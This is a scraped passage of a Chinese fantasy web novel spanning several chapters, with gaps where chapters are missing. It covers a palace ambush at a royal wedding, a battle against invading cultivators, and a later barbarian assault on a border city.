好奇之下,云缺喊来常威和瞎子,让两人将最贵重的千年神木抬进来。 很快两人将一个大木箱抬进大殿。 长有一丈多,宽七尺,很大的一个箱子。 单单这箱子的材质就价值不菲,里面装着的东西肯定是贵重之物。 云缺朝着大殿外的家仆问道:“你们主人是谁?” 一名瘦小的汉子拱手道: “回禀王爷,主人说了,昔日故人区区贺礼,不成敬意,王爷打开礼物便知主人是谁。” 牛大空挤到近前,拍着箱子赞叹道: “上好的红松木啊!足有百年以上!装礼物的箱子至少价值千两,好大的手笔!王爷这位朋友定是一方巨富!” 云缺的眉峰动了动,心头起疑。 如此重礼,来得蹊跷。 云缺可不认得什么一方巨富,如果是大晋的豪门世家,拍他这位平天王的马屁,那家主也该到场才对,何必弄得神神秘秘,故作玄虚。 能拿得出如此财富的故人,云缺只能想到永平公主,但朱静姝已经送过礼了,现在就在大殿里坐着呢,不可能再送一份。 到底是谁? 云缺看了眼常威。 常威立刻会意,与瞎子一起动手拆开木箱。 当木箱被拆掉,终于现出了所谓的千年神木,大殿内立刻响起惊呼阵阵。 木箱里,的确是木头,但不是什么神木,而是一口大红的棺材! 新婚之日,红棺似血! 常威和瞎子被吓傻了,大喜的日子送棺材,显然送礼的不是什么故人,而是仇人! 大殿里,众人纷纷停下动作,神色不定的望着棺材。乐文小说网 首辅紧锁眉头,白厌握起拳头,闫罗站起身,陈洲骅跳脚开骂。 “哪个不长眼的龟孙子!送礼送棺材?你家死绝了是不是!” 云缺目光一沉,看了眼角落里的朱静姝。 送棺材这种事,永平公主是有前例的。 朱静姝安静的坐在原位,微笑着摇了摇头,示意不是她。 就在众人疑惑着送礼之人的时候,大门外传来一道沙哑苍老的笑声。 “嘿嘿嘿……云缺,我这份贺礼你可还满意,装你们夫妻绰绰有余!” 随着声音的出现,大门口出现一道身影,面容苍老,目光阴鸷,两条袖子空荡荡垂在身侧。 正是无舌! 见到无舌出现,文武百官立刻大惊。 无舌当初被齐灵珠斩断双臂,随后逃之夭夭,就此没了音讯,没想到今天在女帝与平天王新婚之日出现。 当初云缺要对无舌动手,除了白厌之外,别人并不知情。 周史伯上前一步,解释道: “无舌,当初之事是一场误会,斩你双臂并非陛下之意,是学宫先生……” 不等周史伯说完,无舌冷声骂道: “你闭嘴!一群卑鄙小人,你们比殷子受都不如!我在皇城辛苦多年,替阜南王铺路,结果呢,他女儿登基,第一个就要除掉我!你们都该死!我这次回来,就是找你们报仇雪恨!” 首辅还想解释,被云缺拦住。 云缺道: “冤有头债有主,总管大人应该去学宫报仇,齐先生在南楼呢,你不认得路的话,我可以带你去。” 无舌冷声道: “你当我是三岁小儿不成,云缺,今天你死定了!” 云缺道: “好言难劝该死鬼,既然你非得来找死,还带着棺材,也罢,本王费点力气,把你埋了。” “呵呵呵呵,云缺,你死到临头还在这吹牛,我倒是很佩服你这一点,既然我敢来,你以为我会毫无准备么。” 无舌往后退了一步,阴测测的道:“邵武国以百万两,悬赏你的人头,这笔钱,我收了,动手!” 无舌说罢一摆手。 赶车的六名家仆当中,有一人抬手扔出一道豪光。 豪光中包裹着一座冰晶小塔,直接飞到金銮殿上方,洒下大片寒光。 顷刻间,整座金銮殿铺上了冰霜,一层又一层,寒气袭人。 半空的小塔随之碎裂开来。 而大殿外,则多出一座冰晶巨塔! 巨塔形成的速度极快,完全封死了金銮殿,整个皇宫内刮起阵阵寒风,地面结出冰层。 法宝的气息,在皇宫内涌动不休。 无舌站在塔外,冷笑道: “死期已到,云缺,牧青瑶!你们今天死定了!七位五品同时出手,我看你们拿什么挡我!” 说话间,无舌身后的六名家仆纷纷冷笑起来。 他们只是假扮家仆而已,实则是来自邵武国的五品强者! 算上无舌,这次齐聚大晋皇宫的五品高手,共有七位! 第357章 干他 新婚喜宴,彻底变了味道。 不但局面骤变,从喜庆变成凶险,连桌上的酒菜也变成了冷菜冰汤,大殿内寒气袭人。 一些没有修为的文官冻得慑慑发抖,眼看着坚持不住。 闫罗与李玄驹同时催动法力,隔绝寒气,首辅与众多有修为的百官更是不遗余力,施展各自手段抵挡。 “此乃寒属法宝,困杀效果极强,必须冲出去才是上策!” 白厌说着往身后一抓,想要摘弓,结果抓了个空。 今天是女帝大喜之日,在金銮殿设下的酒宴,没人带武器进来,一众将军全都赤手空拳。 云缺几步来到朱静姝近前,冷声道: “邵武国来的人不少啊,公主殿下算得真准,我今天果然有血光之灾。” 朱静姝道: “与我无关,如果是我派来的人,何必连我自己一起困在冰塔里。” 云缺瞪了对方一眼。 应该不是朱静姝的手段,一个公主而已,未必能调动这么多五品高手。 邵武国这次奇袭天祈城,下了血本,精锐尽出,如果把这些五品高手都斩杀在皇城,邵武国将元气大伤。 云缺的想法是好的,但局面对大晋一方极为不利。 加上无舌,共有七名五品高手,而大晋这边的五品数量,只有五位。 闫罗,李玄驹,白厌,章岳,青禾。 即便五品高手数量比对方少,其实大晋这边也有优势,满朝文武齐聚一堂,六品七品比比皆是,更不用说还有学宫的几百武夫,数千铁浮屠就在皇宫之外。 主要是对方占据了先机,以法宝之力封住大殿。 闫罗李玄驹与首辅等人需要耗费法力抵抗寒气,几乎难以出手,否则一旦挡不住法宝的寒气,没有修为的群臣很快会被冻死。 云缺快步来到门口,直接轰出烈焰拳。 烈焰刚刚暴起,被一片突然出现的飞雪笼罩。 雪中蕴含着恐怖的拳力,一只拳头凭空而出,与云缺的烈焰拳对轰。 云缺直接倒飞而出,越过半个大殿才落地,急退数步堪堪站稳。 轰出去的烈焰很快被飞雪熄灭。 门口处,接连浮现出七道身影,与云缺对轰一拳的,是一名矮小之人。 这些身影完全被冰雪包裹,如同披着一层冰晶保甲,其中有个没袖子的,显然是无舌。 云缺站稳后,看了眼右手。 手背上残留着一层白霜,冰寒刺骨! 尽管运转着气机,那寒气还是难以驱除。 云缺目光一沉。 与他对拳的家伙,有着深厚的冰拳造诣,并且拳力加上了法宝之威,变得无比恐怖! 无舌怪笑了一声,厉喝道: “今日便是大晋覆灭之时!你们谁也别想活命,受死!” 六道冰甲身影齐齐冲出,留下一人站在门口没动。 留守之人是道家五品金丹,负责驾驭冰塔法宝,他往后退了两步,将本体完全融入坚冰当中,消失了踪迹。 其余六人则均为五品金身,加上冰甲护体,战力几乎倍增,各持刀剑朝着众人杀来。 青禾始终护在牧青瑶身旁,云缺没让她动手,青禾的任务是保护皇帝即可。 闫罗与李玄驹抵挡法宝寒气的同时,寻找着藏进冰塔里的五品金丹。 他们的对手是那名道家修士,被困在法宝当中无比凶险,闫罗与李玄驹必须联手才有机会,单独一人很容易被其击杀。 别看大殿里没修为的很多,能打的其实也不少。 白厌,章岳两位五品将军当先杀出,缠住两名冰甲强敌。 上官鸿途,陈洲骅与一群刑部武者迎战第三名冰甲强敌。 牧忍,花不谢,加上司天监三位少监,联手其他武将挡住第四名对手。 云缺迎战无舌。 敌人共有六名金身一名金丹,此时只剩下一名金身武夫,常威瞎子和萍山君勉强抵挡。 前面的战团,都能将冰甲强敌拖住,唯独最后的战团实在不堪一击。 常威和瞎子被人家一拳一脚给揍飞,萍山君坚持得时间长一点,多挨了几拳同样被打飞出去。 这名邵武国的武者身形高大,不用武器,只用拳脚,战力惊人。 “一群酒囊饭袋!大晋当真无人呐,全是饭桶!哈哈哈!今天爷爷要大开杀戒!” 高大的武者大笑着就要找其他目标动手。 好巧不巧的,瞎子和常威被打飞后,摔在齐御那群学子的酒桌上。 桌子也碎了,菜也飞了,酒也洒了。 满地狼藉。 “随了份子,还不让吃回来!当我们好欺负是不是!” 齐御恼羞成怒,一指那邵武国壮汉,大吼道:“干他!” 演武殿这群武夫本来就憋着一肚子气呢,平白无故随了份子不说,本想把礼钱吃回来,结果饭也没了,于是几百号武夫呜嗷怪叫着冲向那壮汉。 演武殿来的这帮学子,都是与云缺动过手的,修为最低在七品,六品的好几位。 在演武殿有个规矩,敢跟云缺过招,七品是最低要求,否则容易伤到自己。 换句话说,被云缺揍,至少七品才能勉强扛得住。 邵武国那壮汉正得意的要大开杀戒,砸死大晋的文武百官,结果被一群武夫围了个密不透风。 尽管有五品金身境,也架不住几百号六品七品的武夫围殴,打出去一个,扑上来十个,忙得他满头大汗。 这位做梦也没想到,大晋皇宫里别的没多少,武夫多得跟大白菜似的。 而且演武殿的学子有个习惯, 一旦群殴肯定开骂,一边打一边骂,把壮汉祖宗十八代全拎出来问候了个遍。 弄得壮汉满腹狐疑,怎么大晋的武将不仅数量多,还一个比一个粗鄙? 好歹是官儿啊,居然跟街边地痞似的,群殴起来无比熟悉,配合得还贼好。 见六名武者尽数被缠住,牧青瑶轻轻呼出一口气,低声对青禾道: “青禾姐找机会出手,必须先重创一名强敌,久战之下,对我们不利。” 青禾点了点头。 如果在外面,持久战对邵武国一方不利,皇宫出事,铁浮屠与禁军即刻会来援。 大军围杀,五品金身也讨不到好处。 但现在的局面不同。 整个大殿被法宝笼罩,邵武国的高手有法宝之力加持,时间一长,大晋这边必会破绽百出。 牧青瑶的想法,与云缺一样。 云缺自从动手,直接用了妖力,妖刀的威能足以斩杀五品。 必须速战速决! 七位五品高手奇袭而来,云缺虽然出乎预料,却并不担心。 大晋这边的高手也不少,挡住这次袭击不难。 让云缺忌惮的,是邵武国的军师。 无舌带来的六位高手不可怕,真正可怕的,是四品破军境的凉北川! 自从无舌出现,云缺心里总有一种不祥的预感,于是出招愈发凶悍,刀刀不离无舌的脑袋。 无舌原本有五品巅峰修为,失去双臂后,战力大跌,没了手,他对战只能用脚。 如此一来,对上云缺便打得极其难受。 无舌的脚力其实很强,不亚于拳法,但云缺专门砍脑袋,根本不防守。 云缺的对战思路极其清晰。 你踢我一脚,我不躲直接硬抗,我砍你一刀,你怎么接。 无舌确实不敢硬接妖刀,始终在大殿里闪避,刚找到个机会准备出脚,人家的刀先来了。 无舌打得无比憋屈。 云缺刀刀致命,就是欺负他没有手。 无舌气得暗暗咬牙,扫了眼其他几位邵武国带来的高手。 这一看,无舌的心凉了半截。 白厌与章岳缠住了两人,尽管有冰甲,两名邵武国高手也难以取胜,势均力敌。 被刑部武者围困的第三名邵武国高手,仗着冰甲在身,占据上风,但是刑部的人太多,上百号人轮番鏖战,想要获胜绝非一时半刻能做到的。 与司天监一方打斗的第四名邵武国高手,周身风火雷电都快集齐了,被接连不断的法术消耗,司天监的少监均有六品修为,加上牧忍,花不谢与十几位六品境界的武将联手,此人只能疲于应对。 当无舌看向第五名高手之际,直接被吓了一跳。 看不到人,只看到一群武夫上蹿下跳,骂骂咧咧的围殴着什么。 五位来自邵武国的五品金身境高手,没一个能大杀四方的,尽数被缠住。 一边躲避云缺的刀锋,无舌抬头看去。 藏身法宝里的邵武国金丹高手,处境也不太好。 闫罗与李玄驹各自动用道法与儒家术法,将其的真身找了出来,并全力轰杀。 两位五品修士,对战一人,即便有冰塔法宝护身也难有胜算。 最后无舌看到了首辅周史伯。 老头子精神抖擞,一身浩然气涌动不休,一会儿帮这边,一会儿帮那边,越忙活越精神。 无舌气得头顶生烟。 他逃离大晋没多久,怎么大晋这边的战力与气势变得与之前不一样了? 人,还是那些人。 但是所有人的战意都无比高昂。 如果是殷子受在位的话,别说七位五品奇袭皇宫,即便只来三位,殷子受都会吓得屁滚尿流,带着一批将军逃之夭夭,再留下一批人当炮灰。 大晋,已经不再是之前的大晋了…… 无舌暗恨不已,又不得不承认如今的大晋,比殷子受在位的时候强了太多。 分神的工夫,无舌被一刀斩中。 妖刀的恐怖,直接将冰甲切开,在无舌身上留下一道深可见骨的伤口。 无舌往后急退,咬牙断喝: “时机已到,动手!” 随着无舌一声厉喝,停放在大殿里的红木棺材突然炸开,从棺材里跃出一人,左手是一只铁手! 看到此人,云缺立刻一惊。 凉北川! 失去左手后,凉北川竟炼制一只铁手代替,他始终藏在棺材里,没人察觉到。 凉北川的身形如同风雷,闪电般冲出,方向,正是牧青瑶! 第359章 同样是坏痞差距这么大呢 失去双臂的五品武夫,战力本就不行,无舌之前阻拦云缺,已经挨了一刀,此时被妖力暴起的云缺砍成了血葫芦,跌倒在地奄奄一息。 重创无舌后,云缺将目标放在那名五品金丹修士身上。 大殿仍旧被笼罩在法宝冰塔当中,此人不除,大晋的众人始终被封在塔里。 法宝的威能,非同小可,是法器远远难以企及的存在。 风先生的楼船法宝,云缺早看得眼红,现在有件法宝放在眼前,很快就会成为无主之物,下手得趁早。 邵武国那名金丹高手被闫罗李玄驹与首辅施展的三重法力困住,一直在拼力抗衡,始终难以脱困。 情急之下,此人不顾一切的催动浑身法力,大吼道: “玄冰塔,凝雪为刀!” 冰塔在主人的驱使下,从顶端落下鹅毛大雪。 雪片在下落途中尽数旋转起来,变化成数之不尽的银色刀刃。 每一片雪花,都是一把锋利的尖刀! 在场的文官惊恐不已,他们大多没有修为,一旦雪片临身,必定被活剐! 大雪如刀,洋洋洒洒,仿佛降下一片刀网。 在如此环境中作战,白厌青禾等人不得不分出一部分精力用来防御本体。 即便五品金身境高手,也不敢小觑法宝的威能。 凉北川与其他邵武国武者见状立刻加大攻势,趁着雪刀来临,想要转败为胜。 机会稍纵即逝。 被闫罗李玄驹与首辅三人围攻的情况下,那金丹修士能全力驾驭法宝,已经担着极大的风险,自身很容易被重创。 凉北川不想错过这次机会,云缺更不想。 不等漫天雪刀落下,妖刀已经扎进了那五品金丹的后心。 一刀,给此人捅了个透心凉。 妖刀一转,搅碎心脉! 其实这位挺倒霉的,他一边防备闫罗和李玄驹外加首辅,一边还要帮着凉北川等人占据优势,本想掌控大局,到头来自己先送了命。 云缺用实战经验教会了这位金丹强者一个道理,拼命的时候想太多,很容易被捅死。 抽出刀,云缺拍了拍尸体肩头,道: “千里送法宝,多谢,本王笑纳了。” 扑通一声,尸体栽倒在地。 邵武国的金丹一死,闫罗李玄驹彻底腾出手来,加入其他战团。 封住大殿的冰层随之碎裂,冰塔最终恢复成巴掌大的小塔,落在金銮殿屋顶,成了无主之物。 冰层一旦融化,大殿外面的景象立刻映入众人眼帘。 外面是黑压压一片铁甲! 铁浮屠将大殿围了个风雨不透。 在铁浮屠之外,是无数禁军,刀剑齐举。 整座皇宫,完全被大晋的军兵填满,到处是人。 凉北川瞄了眼门外,心头越发沉重。 他知道今天没戏了,能全身而退都算好的。 四品破军虽然战力无双,但也是血肉之躯,万军中能取上将首级不假,可一旦被千军万马包围形成车轮战,破军武者也有扛不住的时候。 更何况现在大晋不仅汇聚了数以万计的军兵,还有阜南王这位四品强敌在前。 阜南王看出凉北川心生退意,攻势突然变得愈发迅猛,拳风霍霍,砸得空气震荡出波纹,每一拳都有开山之力。 凉北川立刻心头大惊。 如此拳道,他应对起来很是吃力,尤其左侧的铁手。 虽然祭炼了一件法宝代替,毕竟没有自己的手灵活,被砸出的裂纹越来越多。 最后咔嚓一声脆响! 阜南王竟一拳砸碎了凉北川的铁手! 丢掉一只手,凉北川愈发势弱,只能以右手接招,连连倒退。 这时又一名邵武国的五品发出惨叫,心窝处扎进一支长箭。 冰塔一破,立刻有禁军将白厌的神弓送来,拿到神弓的白厌,战力倍增,一箭击杀了一名同阶武者。 紧接着第二名邵武国五品战死。 被章岳与青禾联手击杀。 没过多久,第三名邵武国五品殒命,被闫罗与李玄驹联手灭掉。 一个接一个的五品阵亡,让邵武国一方彻底陷入绝境。 邵武国这边少一个五品,大晋一方就多一位五品加入其他战团,此消彼长,大晋一方越战越勇。 当云缺的妖刀鬼魅般捅进一名五品金身的后心,凉北川知道大势已去。 他带来了七位五品,除了他自己之外,全得死在天祈城! 凉北川一声大吼: “走!” 此时还能站着的,只剩下演武殿学子们群殴的那名身形高大的武者,剩下的非死即残。 这名武夫怒吼着轰开一群学子,冲向皇宫大门。 出是出去了,结果外面全是黑压压的铁浮屠! 铁浮屠的存在,专门为杀戮而生,刀不离身,不像演武殿学子们没有武器。 哗啦一声脆响。 数千把重刀齐齐扬起,形成一片刀海! 邵武国最后一名五品武者,眼睛瞪出了血丝,怪叫着冲进铁浮屠当中。 他知道自己今天走不掉。 除非会飞,否则注定被围杀致死,因为铁浮屠之外还有无数禁军,一名五品金身,扛不住数以万计的大军围杀。 更何况铁浮屠战力惊人,挥动的重刀如同剁肉,五品金身也扛不住多久。 眼看着自己的手下被围杀,凉北川不敢去援助,他自己都自身难保。 凉北川飞身而起,以气机凝炼成无形阶梯,踏空而立,居高临下盯住阜南王,冷喝道: “今日之仇必报!阜南王,你最好洗干净脖子,我师尊会亲自动手,取你人头!只要你一死,大晋再无高手!这片江山必将纳入我邵武国囊中!” 阜南王冷冷一笑,道: “九夷城主若亲自前来,本王自当好好招待一番,十万铁浮屠,一定能让城主乘兴而来,满意而归。” 凉北川神色变了变,恨得咬牙切齿。 陷入铁浮屠的那名五品武者,他也不救了,他怕再拖延片刻,他自己都走不掉。 凉北川几步踏上屋顶。 他想将冰塔法宝收走,可惜有人先他一步,梅钱不知什么时候爬了上来,一把抓住冰塔,没敢看凉北川,直接又跳了下去。 凉北川气得脸色发黑。 顾不得梅钱,凉北川转身就走。 四品破军能踏空而行,速度极快,地面上的武者确实没办法,连闫罗李玄驹的法术也没多少效果。 白厌本想挽弓,后来放弃了。 当初在天门关的时候,他已经试过,近距离的情况下,他的箭都很难伤到凉北川,何况这么远的距离。 第360章 揭开谜底 来自邵武国的危机,在阜南王出现之后,迎刃而解。 凉北川逃走,六名五品高手尽数战死,剩下个无舌被重创濒死。 大殿之内,众人纷纷将目光落在角落里的无舌身上。 人们愤恨不已。 若非阜南王坐镇,今天大晋的文武百官怕是没一个活人,全得被邵武国高手屠杀一空! 无舌浑身是血,大口喘气,死死盯着阜南王,眼神充满了怨恨。 阜南王缓步来到无舌近前,居高临下望着眼前的故人,目光清冷的道: “你无舌的脾气向来睚眦必报,算到你会来,正好今日了结恩怨。” 听到这话,云缺终于明白了为何阜南王会提前抵达天祈城,扮作铁浮屠不肯现身,原来就是等无舌来袭。 阜南王的神算,在场的文武群臣心服口服。 无舌吐出一口血,愤恨道: “牧辰!你这个忘恩负义的小人!我蛰伏在殷子受身边十几年,帮你得了大晋,你居然卸磨杀驴!你才是两面三刀的卑鄙之徒!你们牧家不配称帝!我就算死了也不服!” 周史伯神色微变,转身招呼群臣离开大殿。 阜南王若声望有损,牧青瑶的声望也会随之蒙尘,无舌与阜南王之间的恩怨,首辅不想让群臣见证,现在走还来得及,等一会儿无舌若说出他与阜南王如何结盟,他对阜南王如何忠心,让其他百官听到,很容易心生芥蒂。 群臣全都知趣,见首辅下令,众人立刻想要退出大殿,给阜南王腾出地方。 阜南王淡然一笑,摆手道: “本王与无舌之间的事,无需避人,诸位都可旁听,顺便见识一番无舌到底是什么样的人。” 周史伯与群臣停下脚步,惊疑不定的站在两侧。 无舌惨笑道: “我是什么人?我自然是天底下最倒霉的忠臣!当初我瞎了眼,与你这个白眼狼结盟!落到今日的地步,我认了!给我来个痛快!” 阜南王冷冷一笑,道: “不用急,你今天必死,不过死之前,一些往事还是说清为好,否则满朝文武还以为是我图谋大晋,谁会想到,真正图谋天下,想要殷子受早点死的,是你无舌呢。” 此言一出,在场的众人齐齐一怔。 连云缺也觉得十分意外。 在场的群臣有一个算一个,全都认为阜南王以大晋为棋,布局多年,终于推翻了殷子受,让自己的女儿灵芸郡主登上帝位,而无舌只是阜南王推翻殷子受的一份后手而已。 没人能想到,无舌才是图谋大晋之人! 无舌的神色变得愈发阴沉,宛如垂死挣扎的独狼,恶狠狠的道: “你放屁!若不是为你们牧家,我会在殷子受身边当了十多年太监!你牧辰就是个无情无义之辈!” 阜南王淡然道: “我若无情无义,你无舌便是狼子野心,殷子受入驻天祈当晚,是谁找到我,想要与我平分天下,是谁信誓旦旦的保证能除掉殷子受,以天祈城为界,将大晋一分为二,是谁将国号都已经想好,一为晋国,一为燕国。” “你见殷子受取代燕皇太过简单容易,你认为殷子受能做到的,你无舌也能做到,而且能做得更好,于是你想借我之手,平定草原,待到大晋国运稳固之后,再将大晋分割为两国,我们分而治之,各自称帝。” 第361章 冤大头 邵武国的五品高手,云缺并不担心,单打独斗的话,以云缺现在的修为杀五品并非难事。 九夷城的城主,才是最危险的人物。 三品高手一旦出现在天祈城,将是一场浩劫。 到时候云缺只能去求风先生出手,用掉风先生曾经的承诺,否则别无他法。 阜南王低声道: “短期内,九夷城不会妄动。” 云缺也低声道:“莫非岳父大人当真有十万铁浮屠?” 凉北川逃走之前放下狠话,九夷城之主会亲自前来,而后阜南王以更加犀利的言辞还击,说出了十万铁浮屠。 单独的铁浮屠只有七品左右的修为,可一旦汇聚到十万之数,那就是一股恐怖的力量,三品高手也得忌惮三分。 阜南王淡淡一笑,低声道: “没有,诈他而已,为了大晋安危,你要尽快想办法弄到更多的黑铁矿才行。” “今日小胥大喜之日,不谈国事!” 云缺话锋猛转,忙不迭的朝着梅钱那边走过去。 铁山国的黑铁矿最多,关键云缺不敢去啊,铁山国女帝能把墨老害成那等凄惨模样,谁去谁倒霉。 “梅兄气色不佳,是不是酒菜不对胃口,你想吃点什么大可说出来,御厨不会做,我亲自给你炒两盘!”云缺道。 梅钱正生闷气呢,见云缺走过来,立刻没好气的道: “我想吃王八蛋炒饭,你去炒两盘。” 王八蛋炒饭,天下第一名菜,流传已久,空有其名无有其实,谁也没吃过,倒不是难做,因为谁炒谁是王八蛋。 “好办,我叫瞎子去给你炒一锅。” 云缺笑呵呵的坐在梅钱旁边,道:“商量个事儿,让你爷爷教教我法宝怎么用,问问他老人家,武夫能不能用法宝。” 梅钱冷笑一声,道: “我爷爷说他死了,教不了你,想学也成,到阴间去找他,他肯定收你当徒弟。” “那么小气呢,我用冰塔法宝换你的护心镜,如何。”云缺道。 “门儿都没有,不换!”梅钱道。 热热闹闹的酒宴一直持续到天黑。 文官们不胜酒力,走了不少,武将们一个没走,越喝越精神,大殿里全是武夫们吆五喝六的声音。 云缺起身朝着众人拱手告辞。 牧青瑶早已回到新房,走了一个多时辰,不能让自家娘子等久了不是。 转到后宫,云缺志得意满的推开新房大门。 屋子里静悄悄,幽香扑鼻。 新娘子安静的坐在一边,盖着红盖头。 云缺搓了搓手,笑着揭开盖头,现出一张倾国倾城的羞涩俏脸。 牧青瑶抿着唇,垂着头,很害羞的样子。 烛光下,红颜如水,美得令人痴迷。 云缺伸手抬起眼前的俏脸,欣赏良久后,笑容忽然一冷,一把掐住对方的脖子。 “假扮我娘子很有趣,是么。” 云缺冷声道,眼中呈现出竖瞳。 刚进屋就发现不对劲儿,这里被幻术改造过,是一座无人的偏殿,并非婚房。 眼前的红颜瞬间改换了模样,脸上出现一大块难看的胎记。 不是牧青瑶,而是永平公主朱静姝! 朱静姝没反抗,任凭被云缺掐住脖子,似笑非笑的道: 第363章 狼烟再起 清晨时分,云缺悠悠转醒。 牧青瑶卷缩在身边,犹如一只乖巧的猫儿,还在熟睡。 对于自己的新婚之喜,云缺很满意,除了昨晚洞房时的一点意外。 月魁说出无聊两字后,牧青瑶羞得钻进被子里不肯出来。 当时云缺也尴尬不已,可是没办法。 在草原的时候与凌妙清见面后,月魁被暂时封住了妖力,之后就开始生气,公主病爆发,为了哄月魁,云缺随口说了句洞房的时候你可以随便听。 这下好,人家记住了,洞房的时候还真听。 不仅听,听完了还发表一下看法,觉得很无聊。 看来以后不能乱说话了,容易遭报应,云缺在心里嘀咕一句。 轻手轻脚的下了床,云缺推开门走到屋外。 呼吸着清晨的空气,整个人格外精神。 舒展筋骨的时候,云缺看到了天边的红光。 不是旭日初升的光芒,而是火! 火光伴着浓烟,在天边升腾,看位置,正是八山城的方向! “狼烟!” 云缺豁然一惊。 时隔不久,熟悉的狼烟再一次出现在八山城。 八山城有白厌率领金吾卫镇守,一旦燃起狼烟,只能说明一件事。 敌袭! 云缺转身走进屋内。 牧青瑶已经醒了,听到云缺方才的惊呼,急忙问道: “何处狼烟,出什么事了?” 云缺沉声道: “八山城方向,估计是逃走的那一万血蛮攻了过来,我去找李玄驹,用传送阵先过去,娘子坐镇皇城,正好阜南王没走,一旦八山城的变故我们应对不来,便请岳父出手。” “好,夫君自己小心。”牧青瑶点头道。 云缺来到司天监,先给阿狼下令,命五百暗卫以最快速度赶往八山城,随后找到李玄驹。 闫罗得知消息后一起同行。 光晕闪过,三人以传送法术挪移而去。 传送的速度,比起任何飞行法器都要快捷,不多时,云缺便出现在八山城内。 法阵光晕消散,眼前呈现出一片混乱。 街上杂乱不堪,一些尸体横七竖八倒在两侧,有百姓也有军兵。 西侧城门处,炮火声连绵不断。 城内起了大雾,看不到太远的地方。 “去城门!” 云缺刚冲出几步,一侧的小巷里忽然窜出两道身影,均为身形魁梧的血蛮。 血蛮的状态与以往不同,脸上毫无血色,低吼着扑杀而来。 没用闫罗与李玄驹动手,云缺持刀而上。 寻常血蛮而已,别说两个,即便十个百个云缺也不惧。 刀光耀起,快若闪电,在两名血蛮身上切出无数伤口。 两名血蛮悍不畏死,对身上的伤口不管不顾,亡命扑杀,形如凶兽。 很快,云缺将血蛮先后击杀。 扑通,扑通。 两具尸体倒地。 云缺持刀而立,神色凝重。 这两名血蛮,与藏石镇后山里的怪人类似,身体得到极大强化,正常修为应该只有七品,却能爆发出接近六品的战力。 闫罗惊疑道: “这些血蛮有问题!除了气血狂暴之外,他们身上还有另一股阴冷气息,这份气息令血蛮神智模糊,战力几乎翻倍!” 李玄驹忌惮道: “这群蛮子不是逃进十万大山了么,怎么会杀进八山城来?近万血蛮如果全部战力翻倍,对付起来实在棘手。” 三人赶到城门后,终于看到白厌。 白厌正站在城头,手持长弓,凝望城外。 城墙上全是禁军,一排火炮时而吞吐火舌。 云缺快速登上城头,道:“白将军,战况如何。” “情况不太妙,有一部分血蛮昨夜混在进城的百姓当中,已经冲进八山城,军兵发现后立刻封锁西城门,我回来的时候,血蛮正大举攻城,鏖战多时,敌人的攻势暂时被压制住。” 白厌简短说明情况。 云缺朝城外看去,白茫茫一片大雾,仅仅能看到城墙下方,远处根本看不清。 白厌挥了下手,立刻有几门火炮朝着大雾深处轰去。 “雾气很怪,我的箭息术无法感知到敌人,探测类法术无效,只能间隔一段时间开几炮,暂时逼退大雾里的血蛮。” 白厌沉声道:“这次出现的血蛮与以往不同,他们可以攀爬城墙,速度极快,普通军兵很难对付。” 云缺看到城墙上有不少军兵尸体,其中夹杂着血蛮的尸体。 “八山城这地方是不是犯天谴呐,刚被灭城一次,不到半年而已,又来?”李玄驹嘀咕道。 “幸亏白将军回来得及时,八山城一旦被破,免不得又一场屠杀。”闫罗道。 白厌道: “其实我回来的时候,已经晚了,若非守军拼死关闭城门,冲进城里的血蛮还要更多,对了,有个人出力最大,好像是藏石镇的捕头,是他最先发现的血蛮。” 白厌说着指了指城头一侧,一个浑身是血的家伙。 云缺扭头一看,竟是武大川。 武大川身上到处是伤口,正龇牙咧嘴的用伤药,旁边有守军帮他包扎。 伤势很重,但没有生命危险,武夫皮糙肉厚,养上一两月也就没事了。 来到近前,云缺道: “藏石镇的百姓进没进城?” “都进来了,王爷吩咐的事,下官肝脑涂地也得办好!”武大川疼得直抽冷气。 昨晚他发现血蛮怪物后,一边呼喊守军一边直接动手,结果根本不是血蛮的对手,差点被撕碎,守军及时赶到才将血蛮怪物杀掉。 随后大批血蛮出现,武大川与城下的守军拼了老命才关上城门。 虽然有一些血蛮趁机冲进城内,但大部分血蛮被挡在城外,随后便是城头上的恶战,直至白厌回来,八山城才算守住。 武大川此时后怕不已。 如果他昨天没发现血蛮出现,一旦大批血蛮冲进城里,别说藏石镇百姓,城里的所有人都得被杀掉。 云缺拍了拍武大川肩膀,道: “做得好,首功一件,今后八山城的总捕头,是你的了。” 武大川大喜,连连道谢。 藏石镇只是小村镇,哪能与八山城相比! 藏石镇的捕头,连九品芝麻官都算不上,而八山城的总捕头,比校尉的地位都高,直属刑部,少说也是个七品乌纱。 一次恶战,官升三级! 提携武大川,对云缺来说根本不算事儿,与陈洲骅知会一声即可。 武大川为人不错,能力也是有的,在藏石镇矜矜业业,调到陈洲骅手下当差正合适。 云缺从白厌口中,得知冲进八山城的血蛮大致有几百人,禁军已经在清缴,怎奈城内起了大雾,短时间内难以将城里的血蛮绞杀干净。 云缺道: “我与二师兄清理城内血蛮,三师兄留在城头协助白将军,决不能让城外的血蛮进城,等皇城援军一到,我们直接杀出城外。” 闫罗与李玄驹点头称好。 白厌道: “之前我一直在想,如果是兵道殿先生面对如此局面,该如何应对,是全力防守,还是冒险出击,王爷已经给了我答案。城内百姓刚刚迁来不久,尚未安置妥当,人生地不熟,加之大雾弥漫,遇到危机难以寻找藏身之地,唯有将血蛮扼杀在城外,对城内百姓来说才是最安全的办法。” 云缺道: “我怕城里施展不开而已,没想那么多,血蛮异变战力大增,此战诡异,白将军可要多多出力才行。” 白厌道: “王爷放心便是,只要白某不死,八山城就不会破。” 云缺不再耽搁,与闫罗返回城内,各自开始搜寻血蛮,并加以诛杀。 闫罗前往城东。 云缺走的城西方向。 一路寻去,云缺动用血狸的嗅觉追踪血蛮。 雾气太大,视觉无效,幸好血狸的鼻子足够灵敏,在大雾中能察觉到血蛮气息。 不到半个时辰,云缺先后斩杀了近百血蛮。 城西的血蛮清缴得差不多,云缺转向另一条长街,抵达城北。 城内血蛮的数量在几百人左右,云缺估计了一下,自己与闫罗加上城内守军,再有一个时辰应该能将血蛮清理干净。 疾步如飞,云缺奔行在无人的长街。 途经一处酒楼,在门口遇到两名血蛮在徘徊。 云缺二话不说,将两名血蛮斩杀。 尸体刚刚倒地,立刻从酒楼里冲出十几名血蛮,低吼着扑向云缺。 断刀式出手! 三式断刀式齐出,十几名血蛮身首异处。 别看血蛮异变,战力大增,在云缺面前还是不够看的。 以云缺的战力,斩杀宗师境如同切菜,何况一群只有八品七品的血蛮。 干掉了这伙血蛮后,云缺目光中泛起疑色。 之前斩杀的血蛮,大多是单独行动,有的在杀人,有人在游荡,很少有两个血蛮聚集在一起的情况。 